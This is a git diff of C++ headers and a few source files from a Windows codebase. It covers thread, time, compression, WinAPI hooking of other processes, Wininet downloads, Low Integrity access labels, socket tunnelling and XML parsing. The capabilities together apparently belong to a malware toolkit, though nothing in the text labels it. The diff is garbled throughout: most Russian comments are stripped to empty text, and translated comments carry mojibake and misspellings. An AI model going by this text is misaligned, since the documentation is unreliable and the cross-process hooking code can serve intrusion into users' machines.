всех нитей. + . - IN group - группа нитей. - IN timeout - время ожидание в миллесекундах, или INFINITE для бесконечного ожидания. + IN group - . + IN timeout - , INFINITE . - Return - true - в случаи успеха, - false - в случаи ошибки или таймаута. + Return - true - , + false - . */ bool _waitForAllExit(GROUP *group, DWORD timeout); - /*В В В В Closure of the Handel group of threads (not the end of threads). + /*    Closure of the Handel group of threads (not the end of threads). -В В В В IN group - a group of threads. -В В */ +    IN group - a group of threads. +  */ void _closeGroup(GROUP *group); }; diff --git a/source/common/time.h b/source/common/time.h index 5cbfd79..183a5d8 100644 --- a/source/common/time.h +++ b/source/common/time.h @@ -1,65 +1,65 @@ /* - Набор функций для работы со временем в формате Unix. + Unix. */ #pragma once namespace Time { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Получение текущего времени. + . - Return - текущее время. + Return - . */ DWORD _getTime(void); /* - Получение текущего времени GMT. + GMT. - Return - текущее время. + Return - . */ DWORD _getLocalTime(void); /* - Получение текущего GMT. + GMT. - Return - текущее GMT в секундах. + Return - GMT . */ int _getLocalGmt(void); /* - Конвертация FILETIME в Unix время. + FILETIME Unix . - IN ft - указатель на FILETIME. + IN ft - FILETIME. - Return - Unix время. + Return - Unix . */ DWORD _fileTimeToTime(const FILETIME *ft); /* - Конвертация Unix времени в FILETIME. + Unix FILETIME. - IN time - время. - OUT ft - указатель на FILETIME. + IN time - . + OUT ft - FILETIME. - Return - Unix время. + Return - Unix . */ void _timeToFileTime(const DWORD time, FILETIME *ft); - /*В В В В Converting SYSTEMTIME to Unix time. + /*    Converting SYSTEMTIME to Unix time. -В В В В IN st - a pointer to the SYSTEMTIME. +    IN st - a pointer to the SYSTEMTIME. -В В В В Return - Unix time. -В В */ +    Return - Unix time. +  */ DWORD _systemTimeToTime(const SYSTEMTIME *st); }; diff --git a/source/common/ucl.h b/source/common/ucl.h index b21cc85..ae38374 100644 --- a/source/common/ucl.h +++ b/source/common/ucl.h @@ -1,6 +1,6 @@ #pragma once /* - Модифицированый UCL 1.03. + UCL 1.03. http://www.oberhumer.com/opensource/ucl/ */ @@ -68,58 +68,58 @@ namespace UCL typedef struct { /* - IN dwTextSize - FIXME: переменная не известна. text size counter. - IN dwCodeSize - FIXME: переменная не известна. code size counter. - IN iStatus - состояние работы. - -1 - подготовка. - 3 - прогресс. - 4 - успешно завершено. - IN pData - пользовательские данные. + IN dwTextSize - FIXME: . text size counter. + IN dwCodeSize - FIXME: . code size counter. + IN iStatus - . + -1 - . + 3 - . + 4 - . + IN pData - . */ void (WINAPI *callback)(DWORD dwTextSize, DWORD dwCodeSize, int iStatus, void *pData); void *pData; //User data. sent to the callback. }PROGRESS_CALLBACK; /* - Инициализация. + . */ void Init(void); /* - Деинициализация. + . */ void Uninit(void); /* - Сжатие данных. + . - IN pSource - исходные данные. - IN dwSourceSize - размер исходных данных в байтах. - OUT pBuffer - буфер для сжатых данных. - IN OUT pdwBufferSize - на входе - максимальный размер pBuffer, рекомендуется расчитывать по - формуле dwSourceSize + dwSourceSize / 8. - на выходе - размер сжатых данных. - IN pCallback - функция для получения состояния. - IN dwFlags - флаги CF_*. + IN pSource - . + IN dwSourceSize - . + OUT pBuffer - . + IN OUT pdwBufferSize - - pBuffer, + dwSourceSize + dwSourceSize / 8. + - . + IN pCallback - . + IN dwFlags - CF_*. - Return - код ошибки E_*. + Return - E_*. */ int _Compress(LPBYTE pSource, DWORD dwSourceSize, LPBYTE pBuffer, LPDWORD pdwBufferSize, PROGRESS_CALLBACK *pCallback, DWORD dwFlags); - /*В В В В Unpacking the data. + /*    Unpacking the data. -В В В В IN pSource - the original compressed data. -В В В В IN dwSourceSize - szhatyx size of the source data in bytes. -В В В В IN pDest - Buffer for uncompressed data. -В В В В IN pdwDestSize - at the entrance - the maximum size of pBuffer. -В В В В В В В В В В В В В В В В В В В В В В output - the size of the data. +    IN pSource - the original compressed data. +    IN dwSourceSize - szhatyx size of the source data in bytes. +    IN pDest - Buffer for uncompressed data. +    IN pdwDestSize - at the entrance - the maximum size of pBuffer. +                      output - the size of the data. -В В В В Return - true - in the cases of successful raspkakovki, -В В В В В В В В В В В В В В В В В В В В В В false - in cases oishibka (data corruption). +    Return - true - in the cases of successful raspkakovki, +                      false - in cases oishibka (data corruption). -В В В В Note: Funkitsii not marked postfix Safe, can cause an exception, but they have -В В В В В В В В В В В В В В В В smaller size. -В В */ +    Note: Funkitsii not marked postfix Safe, can cause an exception, but they have +                smaller size. +  */ bool _DecompressNRV2BSafe(LPBYTE pSource, DWORD dwSourceSize, LPBYTE pDest, LPDWORD ); bool _DecompressNRV2B(LPBYTE pSource, DWORD dwSourceSize, LPBYTE pDest, LPDWORD pdwDestSize); bool _DecompressNRV2DSafe(LPBYTE pSource, DWORD dwSourceSize, LPBYTE pDest, LPDWORD pdwDestSize); diff --git a/source/common/wahook.cpp b/source/common/wahook.cpp index d8ccc8c..0aed208 100644 --- a/source/common/wahook.cpp +++ b/source/common/wahook.cpp @@ -15,12 +15,12 @@ #endif /* - Проверяет, сколько доступно байт для изменения. + , . - IN process - процесс. - IN address - адрес. + IN process - . + IN address - . - Return - кол. доступных байт. + Return - . . */ static DWORD_PTR checkAvalibleBytes(HANDLE process, void *address) { @@ -29,7 +29,7 @@ static DWORD_PTR checkAvalibleBytes(HANDLE process, void *address) if(CWA(kernel32, VirtualQueryEx)(process, address, &mbi, sizeof(MEMORY_BASIC_INFORMATION)) != 0 && mbi.State == MEM_COMMIT && (mbi.Protect & (PAGE_NOACCESS | PAGE_GUARD)) == 0) { DWORD_PTR tmp = (DWORD_PTR)((LPBYTE)address - (LPBYTE)mbi.BaseAddress); - if(mbi.RegionSize > tmp/*параноя*/)avalibeBytes = mbi.RegionSize - tmp; + if(mbi.RegionSize > tmp/**/)avalibeBytes = mbi.RegionSize - tmp; } return avalibeBytes; } @@ -56,7 +56,7 @@ DWORD WaHook::_hook(HANDLE process, void *functionForHook, void *hookerFunction, { //Read the old code. BYTE buf[OPCODE_MAX_SIZE * 2 + JMP_ADDR_SIZE]; - Mem::_set(buf, (char)0x90, sizeof(buf));/*параноя*/ + Mem::_set(buf, (char)0x90, sizeof(buf));/**/ if(CWA(kernel32, ReadProcessMemory)(process, functionForHook, buf, OPCODE_MAX_SIZE * 2, NULL) == 0)goto END; diff --git a/source/common/wahook.h b/source/common/wahook.h index 2ac6110..c6cc0b5 100644 --- a/source/common/wahook.h +++ b/source/common/wahook.h @@ -1,76 +1,76 @@ /* - Перехват WinAPI. + WinAPI. */ #pragma once namespace WaHook { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Кээлбек для _hook(). + _hook(). - IN functionForHook - указатель на функцию, которая будет перехвачена. - IN originalFunction - адрес, по которому уже записано старое содержимое функции, этот адрес - необходимо вызывать для вызова оригинальной функции после установки хука. + IN functionForHook - , . + IN originalFunction - , , + . */ typedef void (*HOTPATCHCALLBACK)(const void *functionForHook, const void *originalFunction); /* - Установка хука. + . - IN process - процесс, в котором происходит модификация. - IN OUT functionForHook - указатель на функцию, которая будет перехвачена. - IN hookerFunction - указатель на новую функцию. - OUT originalFunction - адрес, по которому будет записано старое содержимое функции, этот адрес - необходимо вызывать для вызова оригинальной функции после установки - хука. - IN hotPatchCallback - функция, которая вызывается немедленно перед записью хука в - оригинальную функцию. + IN process - , . + IN OUT functionForHook - , . + IN hookerFunction - . + OUT originalFunction - , , + + . + IN hotPatchCallback - , + . - Return - размер данных помешенных по адресу originalFunction, или 0 в случаи - ошибки. + Return - originalFunction, 0 + . */ DWORD _hook(HANDLE process, void *functionForHook, void *hookerFunction, void *originalFunction, HOTPATCHCALLBACK hotPatchCallback); /* - Снятие хука. + . - IN process - процесс, в котором происходит модификация. - IN OUT functionForHook - указатель на перехваченую функцию. - IN originalFunction - адрес по которому записаны ориганльные опкоды. - IN size - размер originalFunction. + IN process - , . + IN OUT functionForHook - . + IN originalFunction - . + IN size - originalFunction. - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _unhook(HANDLE process, void *hookedFunction, void *originalFunction, DWORD size); /* - Проверяет является ли функция перхваченной, считывая первые опкоды. + , . - IN process - процесс - IN function - функция. + IN process - + IN function - . - Return - true - перехвачена, - false - не перехвачена. + Return - true - , + false - . */ bool _isHooked(HANDLE process, void *function); - /*В В В В Allocates a region of memory where you can make replacement parts intercepted functions. -В В В В  -В В В В IN process - a process in which the modification. -В В В В IN maxFunctions - approximate kolichetsvo features that will be intercepted. -В В В В  -В В В В Return - address, or NULL in case of error. -В В */ + /*    Allocates a region of memory where you can make replacement parts intercepted functions. +     +    IN process - a process in which the modification. +    IN maxFunctions - approximate kolichetsvo features that will be intercepted. +     +    Return - address, or NULL in case of error. +  */ void *_allocBuffer(HANDLE process, DWORD maxFunctions); }; diff --git a/source/common/wininet.h b/source/common/wininet.h index f04585a..e712061 100644 --- a/source/common/wininet.h +++ b/source/common/wininet.h @@ -1,6 +1,6 @@ #pragma once /* - Инструменты для работы с Wininet. + Wininet. */ //The maximum amount of data allocated for skachvanie in memory. @@ -48,156 +48,156 @@ namespace Wininet }; /* - Инициализация. + . */ void Init(void); /* - Деинициализация. + . */ void Uninit(void); /* - Подключение к серверу по HTTP/HTTPS протоколу. + HTTP/HTTPS . - IN pstrUserAgent - User-Agent, если NULL, то используюется значение по умолчанию. - IN pstrHost - адрес сервера, IP или домен. - IN wPort - порт сервера. - IN dwFlags - флаги WICF_*. + IN pstrUserAgent - User-Agent, NULL, . + IN pstrHost - , IP . + IN wPort - . + IN dwFlags - WICF_*. - Return - хэндл соединения или NULL. + Return - NULL. */ HINTERNET _Connect(LPSTR pstrUserAgent, LPSTR pstrHost, WORD wPort, DWORD dwFlags); /* - Закрытие соединения, открытого при помощи _Connect. + , _Connect. - IN hConnect - хэндл соединения. + IN hConnect - . */ void _CloseConnection(HINTERNET hConnect); /* - Закрытие хэндла, и всех его родителей. + , . - IN OUT handle - хэндл. + IN OUT handle - . */ void _closeWithParents(HINTERNET handle); /* - Вызов InternetStatusCallback. + InternetStatusCallback. - ... - согласно InternetStatusCallback. + ... - InternetStatusCallback. - Return - true - функция вызвана, - false - функция не вызвана. + Return - true - , + false - . */ bool callCallback(HINTERNET handle, DWORD_PTR context, DWORD internetStatus, LPVOID statusInformation, DWORD statusInformationLength); /* - Отправка запроса. + . - IN hConnect - хэндл соединения. - IN pstrURI - запрашаваемый объект. - IN pstrReferer - реферел или NULL. - IN pPostData - пост данные или NULL. - IN dwPostDataSize - размер pPostData. + IN hConnect - . + IN pstrURI - . + IN pstrReferer - NULL. + IN pPostData - NULL. + IN dwPostDataSize - pPostData. IN dwFlags - Flags WISRF_ *. - Return - в случаи успеха хэнло полученый от HttpOpenRequest, или NULL в случаи ошибки. + Return - HttpOpenRequest, NULL . */ HINTERNET _SendRequest(HINTERNET hConnect, LPSTR pstrURI, LPSTR pstrReferer, void *pPostData, DWORD dwPostDataSize, DWORD dwFlags); /* - Скачивание данных. + . - IN hRequest - хэндл запроса. - OUT pBuf - буффер для данных, после использование необходимо удалить через Mem. Может - быть NULL. - IN dwSizeLimit - лимит скачиваемых байт, если равно 0 или больше WININET_MAXBYTES_TO_MEM, то + IN hRequest - . + OUT pBuf - , Mem. + NULL. + IN dwSizeLimit - , 0 WININET_MAXBYTES_TO_MEM, dwSizeLimit = WININET_MAXBYTES_TO_MEM; - IN hStopEvent - хэндл события для прерывания скачивания или NULL. + IN hStopEvent - NULL. - Return - true - в случаи успеха, - false - в случаи ошибки, в том числе срабатываении hStopEvent и привышения - dwSizeLimit. Если возникла ошибка, то соединение необходимо закрыть. + Return - true - , + false - , hStopEvent + dwSizeLimit. , . */ bool _DownloadData(HINTERNET hRequest, MEMDATA *pBuf, DWORD dwSizeLimit, HANDLE hStopEvent); /* - Скачивание данных в файл. + . - IN hRequest - хэндл запроса. - IN pstrFileName - имя файла, в который будут сохранены данные. - IN dwSizeLimit - лимит скачиваемых байт, если равно 0, то ограничения нет. - IN hStopEvent - хэндл события для прерывания скачивания или NULL. + IN hRequest - . + IN pstrFileName - , . + IN dwSizeLimit - , 0, . + IN hStopEvent - NULL. - Return - true - в случаи успеха, - false - в случаи ошибки, в том числе срабатываении hStopEvent или привышения - dwSizeLimit. Если возникла ошибка, то соединение необходимо закрыть. + Return - true - , + false - , hStopEvent + dwSizeLimit. , . */ bool _DownloadDataToFile(HINTERNET hRequest, LPWSTR pstrFileName, DWORD dwSizeLimit, HANDLE hStopEvent); /* - Оболочка для _Connect + _SendRequest + _DownloadData(ToFile). + _Connect + _SendRequest + _DownloadData(ToFile). - IN pcud - параметры URL; - OUT pBuf - буффер для данных, после использование необходимо удалить через Mem. Может быть NULL. - При pcud->DownloadData_pstrFileName != NULL не имеет смысла. + IN pcud - URL; + OUT pBuf - , Mem. NULL. + pcud->DownloadData_pstrFileName != NULL . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _CallURL(CALLURLDATA *pcud, MEMDATA *pBuf); /* - Получение User-Agent от Internet Explorer. + User-Agent Internet Explorer. - Return - User-Agent, или NULL в случаи оишбки. Память должна быть освобождена через Mem. + Return - User-Agent, NULL . Mem. */ LPSTR _GetIEUserAgent(void); /* - Тест сокрости загрузки URL. + URL. IN url - URL. - IN stopEvent - событие остановки или NULL. + IN stopEvent - NULL. - Return - затраченое время в ms, или 0 - в случаи ошибки. + Return - ms, 0 - . */ DWORD _testDownloadDelay(LPSTR url, HANDLE stopEvent); /* - Настройка над InternetQueryOptionA с автовыледением памяти. + InternetQueryOptionA . - IN internet - хэндл. - IN option - опция. - OUT lenght - размер данных. Если это строка, размер будет возрашен без нулеового символа. + IN internet - . + IN option - . + OUT lenght - . , . - Return - данные (нужно освободить через Mem), если это строка, то он будет с окончанием на - нулевой символ. Или NULL в случаи ошибки. + Return - ( Mem), , + . NULL . */ void *_queryOptionExA(HINTERNET internet, DWORD option, LPDWORD lenght); /* - Настройка над InternetQueryOptionW с автовыледением памяти. + InternetQueryOptionW . - IN internet - хэндл. - IN option - опция. - OUT lenght - размер данных в БАЙТАХ. Если это строка, размер будет возрашен без нулеового символа. + IN internet - . + IN option - . + OUT lenght - . , . - Return - данные (нужно освободить через Mem), если это строка, то он будет с окончанием на - нулевой символ. Или NULL в случаи ошибки. + Return - ( Mem), , + . NULL . */ void *_queryOptionExW(HINTERNET internet, DWORD option, LPDWORD lenght); - /*В В В В Customize over HttpQueryInfoA with avtovyledeniem memory. + /*    Customize over HttpQueryInfoA with avtovyledeniem memory. -В В В В IN internet - the handle. -В В В В IN infoLevel - flags indicating data to get. -В В В В OUT lenght - the size of a string without the null character. +    IN internet - the handle. +    IN infoLevel - flags indicating data to get. +    OUT lenght - the size of a string without the null character. -В В В В Return - string ending in a null character (must be freed by Mem), -В В В В В В В В В В В В В В В В В В or NULL in case of error. -В В */ +    Return - string ending in a null character (must be freed by Mem), +                  or NULL in case of error. +  */ LPSTR _queryInfoExA(HINTERNET request, DWORD infoLevel, LPDWORD lenght, LPDWORD index); }; diff --git a/source/common/winsecurity.h b/source/common/winsecurity.h index 4454f02..d09cc64 100644 --- a/source/common/winsecurity.h +++ b/source/common/winsecurity.h @@ -1,51 +1,51 @@ /* - Работа с дескрипторами безопасности Windows. + Windows. */ #pragma once namespace WinSecurity { /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Создание SECURITY_ATTRIBUTES и SECURITY_DESCRIPTOR с полным доступом. + SECURITY_ATTRIBUTES SECURITY_DESCRIPTOR . - OUT sa - указатель SECURITY_ATTRIBUTES, может быть NULL, если значение не нужно. - OUT sd - указатель SECURITY_DESCRIPTOR. + OUT sa - SECURITY_ATTRIBUTES, NULL, . + OUT sd - SECURITY_DESCRIPTOR. - Return - в случаи успеха: адрес памяти который нужно освободить через LocalFree, или (void *)-1. - в случаи ошибки: NULL. + Return - : LocalFree, (void *)-1. + : NULL. - Примечание: sa и sd связаны между собой. + : sa sd . */ void *_getFullAccessDescriptors(SECURITY_ATTRIBUTES *sa, SECURITY_DESCRIPTOR *sd); /* - Установка на объект прав на полный досут для Low Integrity процессов. + Low Integrity . - IN name - имя объекта. - IN objectType - тип объекта SE_OBJECT. - IN inherit - влючить наследования дочерным объектам. + IN name - . + IN objectType - SE_OBJECT. + IN inherit - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool _setLowIntegrityLevelLabel(LPWSTR name, DWORD objectType, bool inherit); - /*В В В В Getting TOKEN_USER of the token. + /*    Getting TOKEN_USER of the token. -В В В В IN token - the token, you need the right TOKEN_QUERY. +    IN token - the token, you need the right TOKEN_QUERY. -В В В В Return - NULL - in case of error, -В В В В В В В В В В В В В В В address of the structure in case of success, must be released through the Mem. -В В */ +    Return - NULL - in case of error, +               address of the structure in case of success, must be released through the Mem. +  */ TOKEN_USER *_getUserByToken(HANDLE token); }; diff --git a/source/common/wsocket.h b/source/common/wsocket.h index 01f118a..f3d781b 100644 --- a/source/common/wsocket.h +++ b/source/common/wsocket.h @@ -1,5 +1,5 @@ /* - Дополнение для WinSock. + WinSock. */ #pragma once @@ -14,316 +14,316 @@ namespace WSocket { /* - Инициализация. + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool init(void); /* - Деинициализация. + . */ void uninit(void); /* - Проверяет присутвует ли сокет в списке fd_set. + fd_set. - IN s - сокет для проверки. - IN pfs - указатель на fd_set. + IN s - . + IN pfs - fd_set. - Return - true - если присутвует, - false - если отсутсвует. + Return - true - , + false - . */ bool _fdIsSet(SOCKET s, fd_set *pfs); /* - Чтение данных из сокета. + . - IN s - сокет. - OUT buf - буфер для данных. - IN bufSize - размер буфера. - IN timeout - количество миллесекунд ожидания получения данных, или 0 для бесконечного - ожидания на блокируемом сокете. Или INFINITE для бесконечного ожидания на не - блокируемом сокете. + IN s - . + OUT buf - . + IN bufSize - . + IN timeout - , 0 + . INFINITE + . - Return - количетсво прочитаных байт или SOCKET_ERROR. + Return - SOCKET_ERROR. */ int tcpRecv(SOCKET s, void *buf, int bufSize, DWORD timeout); /* - Чтение данных из сокета до полного запаолнения буфера. + . - IN s - сокет. - OUT buf - буфер для данных. - IN bufSize - размер буфера. - IN timeout - количество миллесекунд ожидания получения данных, или 0 для бесконечного - ожидания на блокируемом сокете. Или INFINITE для бесконечного ожидания на не - блокируемом сокете. + IN s - . + OUT buf - . + IN bufSize - . + IN timeout - , 0 + . INFINITE + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool tcpRecvAll(SOCKET s, void *buf, int bufSize, DWORD timeout); /* - Чтение всех данных из сокета в NULL. + NULL. - IN s - сокет. - IN size - размер данных. - IN timeout - количество миллесекунд ожидания получения данных, или 0 для бесконечного - ожидания. + IN s - . + IN size - . + IN timeout - , 0 + . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool tcpRecvAllToNull(SOCKET s, int size, DWORD timeout); /* - Запись данных в сокет. + . - IN s - сокет. - IN buf - буфер с данными. - IN bufSize - размер буфера. + IN s - . + IN buf - . + IN bufSize - . - Return - true - в случаи успеха, - false - в случаи ошибки. + Return - true - , + false - . */ bool tcpSend(SOCKET s, const void *buf, int bufSize); /* - Создание TCP соединения. + TCP . - IN sockAddr - данные сервера, к которому нужно подключится. + IN sockAddr - , . - Return - ID сокета - в случаи успешного соединения, после окончания сессии сокет должен - быть закрыт через tcpClose, - INVALID_SOCKET - в случаи ошибки. + Return - ID - , + tcpClose, + INVALID_SOCKET - . */ SOCKET tcpConnect(const SOCKADDR_STORAGE *sockAddr); /* - Создание TCP соединения. + TCP . - IN host - домен/IPv4/IPv6. - IN port - порт. + IN host - /IPv4/IPv6. + IN port - . - Return - ID сокета - в случаи успешного соединения, после окончания сессии сокет должен - быть закрыт через tcpClose, - INVALID_SOCKET - в случаи ошибки. + Return - ID - , + tcpClose, + INVALID_SOCKET - . */ SOCKET tcpConnectA(const LPSTR host, const WORD port); /* - Создает TCP порт для приема соединений. + TCP . - IN sockAddr - данные сервера. - IN backlog - максимальное количетсво ожидлающих соединений или SOMAXCONN. + IN sockAddr - . + IN backlog - SOMAXCONN. - Return - ID сокета - в случаи успешного создания порта, когда порт более не нужен, - необходимо закрыть через tcpClose, - INVALID_SOCKET - в случаи ошибки. + Return - ID - , , + tcpClose, + INVALID_SOCKET - . */ SOCKET tcpListen(const SOCKADDR_STORAGE *sockAddr, int backlog); /* - Создает TCP порт для приема соединений на произвольном порту. + TCP . - IN family - тип протокола, AF_INET или AF_INET6. - IN backlog - максимальное количетсво ожидлающих соединений или SOMAXCONN. - IN portMin - минимальный порт в машинном порядке байт. - IN portMax - максимальный порт в машинном порядке байт. - - Return - ID сокета - в случаи успешного создания порта, когда порт более не нужен, - необходимо закрыть через tcpClose, - INVALID_SOCKET - в случаи ошибки. + IN family - , AF_INET AF_INET6. + IN backlog - SOMAXCONN. + IN portMin - . + IN portMax - . + + Return - ID - , , + tcpClose, + INVALID_SOCKET - . - Примечание: Требует инициализации Crypt. + : Crypt. */ SOCKET tcpListenRandom(int family, int backlog, WORD portMin, WORD portMax); /* - Насдтройка для TCP_Listen для простого создания порта. + TCP_Listen . - IN family - тип протокола, AF_INET или AF_INET6. - IN port - порт в машинном порядке байт. - IN backlog - максимальное количетсво ожидлающих соединений или SOMAXCONN. + IN family - , AF_INET AF_INET6. + IN port - . + IN backlog - SOMAXCONN. - Return - ID сокета - в случаи успешного создания порта, когда порт более не нужен, - необходимо закрыть через tcpClose, - INVALID_SOCKET - в случаи ошибки. + Return - ID - , , + tcpClose, + INVALID_SOCKET - . */ SOCKET tcpListenEx(int family, WORD port, int backlog); /* - Организация тунеля между двумя соединениями. + . - IN s1 - первый сокет. - IN s2 - второй сокет. + IN s1 - . + IN s2 - . - Примичание: выход из функции будет произведен только после перевания соединения или ошибки. + : . */ void tcpTunnel(SOCKET s1, SOCKET s2); /* - Организация тунеля между двумя соединениями, с возможностью прерывания по событию. + , . - IN s1 - первый сокет. - IN s2 - второй сокет. - IN eventHandle - событие, при срабатывание которого тунель будет закрыт. + IN s1 - . + IN s2 - . + IN eventHandle - , . */ void tcpTunnelAndWaitForWinEvent(SOCKET s1, SOCKET s2, HANDLE eventHandle); /* - Ожидание события read на сокетах. + read . - IN sockets - массив сокетов на которых ожидается событие. - IN socketsCount - количество элементов в массиве sockets. - IN timeout - количество миллесекунд ожидания, или 0 для бесконечного ожидания. - IN advSockets - массив дополнительных сокетов для слежения на событие read. - IN advSocketsCount - количество элементов в массиве advSockets. + IN sockets - . + IN socketsCount - sockets. + IN timeout - , 0 . + IN advSockets - read. + IN advSocketsCount - advSockets. - Return - ID сокета на котором произошло событие, - INVALID_SOCKET - в случаи ошибки, таймауа, или срабатывания события - на любом сокете sAdvSockets. + Return - ID , + INVALID_SOCKET - , , + sAdvSockets. - Прмечание: В случаи таймаута, WSAGetLastError() будет возращать WSAETIMEDOUT. + : , WSAGetLastError() WSAETIMEDOUT. */ SOCKET tcpWaitForEvent(const SOCKET *sockets, DWORD socketsCount, DWORD timeout, const SOCKET *advSockets, DWORD advSocketsCount); /* - Ожидание входящего соединения и получение нового сокета. + . - IN sockets - массив сокетов на которых ожидается соединение. - IN socketsCount - количество элементов в массиве sockets. - IN timeout - количество миллесекунд ожидания, или 0 для бесконечного ожидания. - OUT sockAddr - буфер для информации о клиенте, или NULL если информация не нужна. - OUT index - индекст в массиве sockets, для которого сработало событие. Может быть + IN sockets - . + IN socketsCount - sockets. + IN timeout - , 0 . + OUT sockAddr - , NULL . + OUT index - sockets, . NULL. - IN advSockets - массив дополнительных сокетов для слежения на событие read. - IN advSocketsCount - количество элементов в массиве advSockets. + IN advSockets - read. + IN advSocketsCount - advSockets. - Return - Cокет - в случаи успешного соединения, когда сокет более не нужен, - необходимо закрыть через tcpClose, - INVALID_SOCKET - в случаи ошибки, таймауа, или срабатывания события - на любом сокете advSockets. + Return - C - , , + tcpClose, + INVALID_SOCKET - , , + advSockets. - Прмечание: В случаи таймаута, WSAGetLastError() будет возращать WSAETIMEDOUT. + : , WSAGetLastError() WSAETIMEDOUT. */ SOCKET tcpWaitForIncomingAndAccept(SOCKET *sockets, DWORD socketsCount, DWORD timeout, SOCKADDR_STORAGE *sockAddr, LPDWORD index, SOCKET *advSockets, DWORD advSocketsCount); /* - Закрытие и освобождение сокета. + . - IN s - сокет для закрытия. Возможно значение INVALID_SOCKET. + IN s - . INVALID_SOCKET. */ void tcpClose(SOCKET s); /* - Включает или выключает алгоритм Nagle(TCP_NODELAY). ПО умолчанию включен для всех сокетов. + Nagle(TCP_NODELAY). . - IN s - сокет. - IN disable - true - отключить алгоритм. - false - включить алгоритм, + IN s - . + IN disable - true - . + false - , - Return - true - в случаи спешного изменения состояния, - false - в случаи ошибки. + Return - true - , + false - . */ bool tcpDisableDelay(SOCKET s, bool disable); /* - Включает или выключает TCP keepalive. + TCP keepalive. - IN s - сокет. - IN enable - true - включить. - false - отключить, - IN time - переуд неактивности в мс, через которое отслыается пакет. - IN interval - интервал отсылки пакетов, если не дошел предыдущий. + IN s - . + IN enable - true - . + false - , + IN time - , . + IN interval - , . - Return - true - в случаи спешного изменения состояния, - false - в случаи ошибки. + Return - true - , + false - . */ bool tcpSetKeepAlive(SOCKET s, bool enable, DWORD time, DWORD interval); /* - Выбор режима блокируемого, неблокируемого сокета. + , . - IN s - сокет. - IN disable - true - неблокируемый, - false - блокируемый. + IN s - . + IN disable - true - , + false - . - Return - true - в случаи спешного изменения состояния, - false - в случаи ошибки. + Return - true - , + false - . */ bool setNonBlockingMode(SOCKET s, bool enable); /* - Создает UDP порт для приема соединений. + UDP . - IN sockAddr - данные сервера. + IN sockAddr - . - Return - ID сокета - в случаи успешного создания порта, когда порт более не нужен, - необходимо закрыть через udpClose, - INVALID_SOCKET - в случаи ошибки. + Return - ID - , , + udpClose, + INVALID_SOCKET - . */ SOCKET udpListen(const SOCKADDR_STORAGE *sockAddr); /* - Закрытие и освобождение сокета. + . - IN s - сокет для закрытия. Возможно значение INVALID_SOCKET. + IN s - . INVALID_SOCKET. */ void udpClose(SOCKET s); /* - Преобразование IP в строку ip:port. + IP ip:port. - IN sockAddr - данные IP. - OUT buffer - буфер для строки, должен быть размером не менее MAX_PATH. + IN sockAddr - IP. + OUT buffer - , MAX_PATH. - Return - true - в случаи успешной конвертации, - false - в случи ошибки, при этом string будет ранвятся "0:0". + Return - true - , + false - , string "0:0". */ bool ipToStringW(const SOCKADDR_STORAGE *sockAddr, LPWSTR buffer); /* - Преобразование строки в IP. + IP. - OUT sockAddr - данные IP. - IN buffer - строка. + OUT sockAddr - IP. + IN buffer - . - Return - true - в случаи успешной конвертации, - false - в случви ошибки, при этом sockAddr будет обнулен. + Return - true - , + false - , sockAddr . */ bool stringToIpW(SOCKADDR_STORAGE *sockAddr, const LPWSTR string); /* - Проверяет, является ли IP локальным. + , IP . - IN sockAddr - данные IP. + IN sockAddr - IP. - Return - true - если локальный, - false - если не локальный. + Return - true - , + false - . */ bool _isLocalIp(const SOCKADDR_STORAGE *sockAddr); /* - Получение списка IP-адресов всех интерфейсов. + IP- . - IN family - AF_INET или AF_INET6. + IN family - AF_INET AF_INET6. - Return - NULL - в случаи ошибки, - или адрес списка в случаи успеха (нужно освободить через Mem). + Return - NULL - , + ( Mem). */ SOCKET_ADDRESS_LIST *getListOfIpAddresses(int family); - /*В В В В Getting the type of socket AF_ *. + /*    Getting the type of socket AF_ *. -В В В В IN s - socket. -В В В В  -В В В В Return - AF_ *. -В В */ +    IN s - socket. +     +    Return - AF_ *. +  */ USHORT getFamily(SOCKET s); }; diff --git a/source/common/xmlparser.cpp b/source/common/xmlparser.cpp index 96842d6..b186d6c 100644 --- a/source/common/xmlparser.cpp +++ b/source/common/xmlparser.cpp @@ -94,7 +94,7 @@ void XmlParser::_freeXmlErrorData(XMLERRORDATA *error) _freeBstr(error->reason); } -/*Р’В Р’В Add-in for getNodeTextOf * ().*/ +/*  Add-in for getNodeTextOf * ().*/ static BSTR getChildTextAndRelease(IXMLDOMNode *child) { BSTR text; diff --git a/source/common/xmlparser.h b/source/common/xmlparser.h index 8a174f8..cb1c96b 100644 --- a/source/common/xmlparser.h +++ b/source/common/xmlparser.h @@ -1,7 +1,7 @@ /* - Работа с XML данными, обертка MsXml, требуется ComLibrary. + XML , MsXml, ComLibrary. - Примечание: Не производиться проверка аргументов функций на нулевые указатели. + : . */ #pragma once @@ -16,67 +16,67 @@ namespace XmlParser }XMLERRORDATA; /* - Инициализация. + . */ void init(void); /* - Деинициализация. + . */ void uninit(void); /* - Открытие XML файла. + XML . - IN file - имя файла для открытия. - OUT error - информация об ошибки, при ее возниконовение. Может быть NULL. - В случаи возникновения ошибки, эта структура должна быть освобождена через + IN file - . + OUT error - , . NULL. + , freeXmlErrorData. - Return - в случаи успеха данные XML файла, которые должны быть закрыты через CloseFile. - в случаи ошибки NULL. + Return - XML , CloseFile. + NULL. */ IXMLDOMDocument *_openFile(const LPWSTR file, XMLERRORDATA *error); /* - Закрытие XML файла. + XML . - IN doc - указатель на данные файла для закрытия. + IN doc - . */ void _closeFile(IXMLDOMDocument *doc); /* - Освобождение структуры XMLERRORDATA. + XMLERRORDATA. - IN pError - структура для освобождения. + IN pError - . */ void _freeXmlErrorData(XMLERRORDATA *pError); /* - Получение содержимого элемента. + . - IN root - элемент отснсителльно которгого происходит поиск node. - IN node - элемент для поиск в XPath. Не может быть NULL. + IN root - node. + IN node - XPath. NULL. - Return - текст в случаи успеха (нужно освободить через _freeBstr()), - или NULL в случаи ошибки. + Return - ( _freeBstr()), + NULL . */ BSTR 